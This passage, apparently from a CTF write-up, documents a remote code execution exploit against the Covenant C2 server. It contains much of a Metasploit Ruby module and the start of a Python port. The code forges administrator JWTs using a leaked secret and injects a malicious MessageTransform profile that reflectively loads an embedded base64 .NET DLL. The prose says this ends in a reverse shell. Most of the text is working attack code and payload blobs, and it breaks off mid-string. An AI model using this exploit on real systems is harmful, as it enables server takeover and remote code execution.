N5LsDISsleIkI7F/JgAAAAAAAAAAAACZJgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiyYAAAAAAAAAAAAAAABfQ29yRXhlTWFpbgBtc2NvcmVlLmRsbAAAAAAAAP8lACBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAQAAAAIAAAgBgAAABQAACAAAAAAAAAAAAAAAAAAAABAAEAAAA4AACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAAA8AwAAkEAAAKwCAAAAAAAAAAAAAKwCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAABAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsAQMAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAADoAQAAAQAwADAAMAAwADAANABiADAAAAAwAAgAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAFAAYQB5AGwAbwBhAGQAAAA4AAgAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAUABhAHkAbABvAGEAZAAAADAACAABAEYAaQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAAMQAuADAALgAwAC4AMAAAADgADAABAEkAbgB0AGUAcgBuAGEAbABOAGEAbQBlAAAAUABhAHkAbABvAGEAZAAuAGQAbABsAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEAADAABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABQAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAwAAgAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAFAAYQB5AGwAbwBhAGQAAAAwAAYAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAExDAADfAQAAAAAAAAAAAADvu788P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCIgc3RhbmRhbG9uZT0ieWVzIj8+Cgo8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+CiAgPGFzc2VtYmx5SWRlbnRpdHkgdmVyc2lvbj0iMS4wLjAuMCIgbmFtZT0iTXlBcHBsaWNhdGlvbi5hcHAiLz4KICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiI+CiAgICA8c2VjdXJpdHk+CiAgICAgIDxyZXF1ZXN0ZWRQcml2aWxlZ2VzIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+CiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPgogICAgICA8L3JlcXVlc3RlZFByaXZpbGVnZXM+CiAgICA8L3NlY3VyaXR5PgogIDwvdHJ1c3RJbmZvPgo8L2Fzc2VtYmx5PgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAArDYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload =
"""public static class MessageTransform {
public static string Transform(byte[] bytes) {
try {
string assemblyBase64 = \"#{dll}\";
var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
var assembly = System.Reflection.Assembly.Load(assemblyBytes);
foreach (var type in assembly.GetTypes()) {
object instance = System.Activator.CreateInstance(type);
object[] args = new object[] { new string[] { \"\" } };
try {
type.GetMethod(\"Main\").Invoke(instance, args);
}
catch {}
}
}
catch {}
return System.Convert.ToBase64String(bytes);
}
public static byte[] Invert(string str) {
return System.Convert.FromBase64String(str);
}
}"""
end
def is_admin(user)
roles = JSON.parse(read_user_role(user['id']))
ret = false
roles.each do |role|
ret = true if role['roleId'] == @roleid_admin
end
ret
end
def list_users
request_api('GET', normalize_uri('api', 'users')).body
end
def read_grunt_cfg
data = {
'id': 0,
'listenerId': read_listener_id,
'implantTemplateId': 1,
'name': 'Binary',
'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
'type': 'binary',
'dotNetVersion': 'Net35',
'runtimeIdentifier': 'win_x64',
'validateCert': true,
'useCertPinning': true,
'smbPipeName': 'string',
'delay': 0,
'jitterPercent': 0,
'connectAttempts': 0,
'launcherString': 'GruntHTTP.exe',
'outputKind': 'consoleApplication',
'compressStager': false
}
# gerenate grunt payload
response = request_api('PUT', normalize_uri('api', 'launchers', 'binary'), data.to_json)
if !response.nil?
response = request_api('POST', normalize_uri('api', 'launchers', 'binary'), data.to_json)
end
if !response.nil?
return parse_grunt_cfg(response.body)
end
nil
end
def read_listeners
response = request_api('GET', normalize_uri('api', 'listeners'))
return response.body unless response.nil?
nil
end
def read_listener_id
listeners = read_listeners
unless listeners.nil?
listeners = JSON.parse(listeners)
listeners.each do |listener|
return listener['id'].to_i if listener['name'] == @listener_name
end
end
return(-1)
end
def read_listener_type(name)
response = request_api('GET', normalize_uri('api', 'listeners', 'types'))
unless response.nil?
listeners_types = JSON.parse(response.body)
listeners_types.each do |listener_type|
if listener_type['name'].downcase == name.downcase
return listener_type['id'].to_i
end
end
end
return(-1)
end
def read_roleid_admin
roles = request_api('GET', normalize_uri('api', 'roles')).body
role_id = ''
roles = JSON.parse(roles)
roles.each do |role|
if role['name'].downcase == 'administrator'
role_id = role['id']
end
end
role_id
end
def read_user_role(id)
request_api('GET', normalize_uri('api', 'users', id, 'roles')).body
end
def request_api(method, uri, data = nil)
headers = {}
headers['Authorization'] = "Bearer #{@token}"
request = {
'method' => method,
'uri' => uri,
'headers' => headers
}
if method =~ /POST|PUT/
request = request.merge({'ctype' => 'application/json', 'data' => data}) unless data.nil?
end
response = send_request_cgi(request)
if response && response.code.to_s =~ /200|201/
return response
end
nil
end
def message(msg)
"#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
end
def parse_grunt_cfg(cfg)
cfg = JSON.parse(cfg)
# TODO: better way (https://rubular.com/)
aes_key = cfg['stagerCode'].match(/.*byte\[\]\sSetupKeyBytes\s=\sConvert.FromBase64String\(@\"(.*?)\"\);.*$/).to_s.split("\"")[1]
guid_prefix = cfg['stagerCode'].match(/.*string\saGUID\s=\s@\"(.*?)\";.*$/).to_s.split("\"")[1]
return([aes_key, guid_prefix])
end
def random_id
"#{SecureRandom.hex(4)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(2)}-#{SecureRandom.hex(6)}"
end
def upload_profile
data = {
'httpUrls': [
'/en-us/index.html',
'/en-us/docs.html',
'/en-us/test.html'
],
'httpRequestHeaders': [
{'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
{'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
],
'httpResponseHeaders': [
{'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
],
'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
'httpGetResponse': '{DATA}',
'httpPostResponse': '{DATA}',
'id': 0,
'name': "#{SecureRandom.hex(5)}",
'description': '',
'type': 'HTTP',
'messageTransform': "#{generate_transform_payload}"
}
response = request_api('POST', normalize_uri('api', 'profiles', 'http'), data.to_json)
return response['location'].split('/')[-1] unless response.nil?
nil
end
def check
@ip_address = datastore['RHOST']
print_status(message('Trying to connect.'))
# generate jwt token w/ ramdomized username.
@token = generate_jwt
unless list_users.nil?
report_vuln(
host: @ip_address,
name: name,
refs: references,
)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
# check for active listener conflict.
if check_tcp_port(datastore['RHOSTS'], datastore['C2_RPORT'])
fail_with(Failure::Unknown, "The remote Covenant C2 have already tcp/#{datastore['C2_RPORT']} opened.")
end
print_status(message('Generating admin token w/ leaked JWT secret.'))
# generate jwt token w/ ramdomized username.
@token = generate_jwt
print_status(message('Impersonating an admin user... finding token fields:'))
# get role id with administrative right.
@roleid_admin = read_roleid_admin
print_good(message(" * found admin UID: #{@roleid_admin}."))
users = JSON.parse(list_users)
users.each do |user|
next if user['userName'].downcase == 'serviceuser'
if is_admin(user)
print_good(message(" * found admin user: #{user['userName']}"))
print_status(message('Generating new admin token w/ leaked JWT secret.'))
# generate jwt token w/ spoofed username and user id.
@token = generate_jwt(user['userName'], user['id'])
break
end
end
# generate and upload malicious profile.
print_status(message('Genarate and inject malicious profile.'))
profile_id = upload_profile
fail_with(Failure::Unknown, 'Could not upload the malicious profile.') if profile_id.nil?
# create a listener w/ embeded malicious profile.
@listener_name = SecureRandom.hex(4)
if create_listener(profile_id.to_i) == false
fail_with(Failure::Unknown, 'Could not create the malicious listener.')
end
print_status(message('Get GRUNT configuration:'))
# get grunt configuration (guid prefix and aes key).
aes_key, guid_prefix = read_grunt_cfg
print_good(message(" * AES key: #{aes_key}"))
print_good(message(" * GUID prefix: #{guid_prefix}"))
print_status(message('Sending stage0 to trigger exploitation.'))
# trigger the exploitation.
generate_stage0(aes_key, "#{guid_prefix}#{SecureRandom.hex(5)}")
end
end
This exploit still teaches us something important: the methodology of the attack. We will try to inject a dotnet DLL into the Covenant process, which necessarily has System Administrator privileges, by abusing the administrator token that we previously generated. The feat is divided into 5 stages:
- We retrieve the list of users and craft the admin token
- We use the admin token to create a malicious profile on the covenant in which we will place a corrupted DLL which, when executed, launches a reverse shell. To do this, we use the MessageTransform option which allows you to personalize the encoding of communications between the C2 and an infected victim. The MessageTransform option takes as a parameter the code of a C# dotnet class (which must be called MessageTransform ). Unfortunately, we cannot launch the reverse shell directly from the MessageTransform class that we have just created, because it does not have access to all the functionality of the namespace System (necessary to execute commands). However, we have access to all the classes necessary to inject a DLL into the process’s memory (the Activator classes of System and Assembly of System.Reflection ). As explained in the article, using a DLL that we are going to invoke allows us to override this restriction.
- We create a malicious listener linked to the malicious profile
- We retrieve the grunts configuration of our listener
- We launch the final stage: we connect to the Covenant listener that we created, which has the effect of activating the corrupted DLL and popping the reverse shell.
As my favorite language is python, and I know nothing about Ruby, I finally motivate myself to (re)program the entire exploit in python. It was very long and tedious, but I managed to achieve my goals. I leave it to the reader to ask these questions in comments.
import jwt
import time
import requests
from colorama import *
import random
import base64
import time
import sys
import re
from Crypto import Random
from Crypto.Cipher import AES
import os
import hashlib
import json
import socket
import subprocess
def randomhex(size) -> str:
char = "abcdef0123456789"
random_hex = ""
for i in range(0,size*2):
random_hex += random.choice(char)
return random_hex
def random_jti() -> str:
f = lambda x: ''.join(["{}".format(random.randint(0, 9)) for num in range(0, x)])
return f"{f(8)}-{f(4)}-{f(4)}-{f(4)}-{f(6)}"
def crypt_sha256(content):
crypto = hashlib.sha256()
if isinstance(content,str): content = content.encode()
crypto.update(content)
return crypto.digest()
def _pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
class exploit():
def __init__(self):
self.JwtKey = "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC"
self.url = "http://unchasseursachantchasser.chall.malicecyber.com/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/" # endpoint où on trouve le covenant
self.ip = "172.20.0.2" # ip de la machine qui hosts le convenant
self.host = "unchasseursachantchasser.chall.malicecyber.com" # hosts sur lequel on se connectera pour envoyer la charge final
self.c2_port = 0 # port sur lequel le client va se connecter
self.ADMIN_NAME = ""
self.ADMIN_ID = ""
self.ADMIN_TOKEN = ""
def _gen_jwt(self,USER,USERID):
EXPIRATION = 1968264576
content = {
"sub": USER,
"jti": random_jti(),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": USERID,
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
"User",
"Administrator"
],
"exp": EXPIRATION,
"iss": "Covenant",
"aud": "Covenant"
}
return jwt.encode(content, self.JwtKey, algorithm='HS256').decode('utf-8')
def get_user_list(self) -> dict:
USER = "hackline"
USERID= "df34c0a2fd5b408ab4fe0c1ac98d5677"
token = self._gen_jwt(USER,USERID)
r = requests.get("%s/api/users" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + token})
for user in r.json():
print("""- %s : %s""" % (user["userName"],user["id"]))
return r.json()
def generate_transform_payload(self):
# POC: execute calc
#dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVU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'
dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEUvcWMAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAAsicAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGAnAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAoJgAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACUJwAAAAAAAEgAAAACAAUAcCAAALgFAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGYCKA4AAAoAAHIBAABwcgsAAHAoDwAACiYqCgAqAAAAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAzAEAACN+AAA4AgAAIAIAACNTdHJpbmdzAAAAAFgEAACIAAAAI1VTAOAEAAAQAAAAI0dVSUQAAADwBAAAyAAAACNCbG9iAAAAAAAAAAIAAAFHFQAACQAAAAD6ATMAFgAAAQAAABAAAAACAAAAAgAAAAEAAAAPAAAADQAAAAEAAAACAAAAAABxAQEAAAAAAAYA5gDWAQYA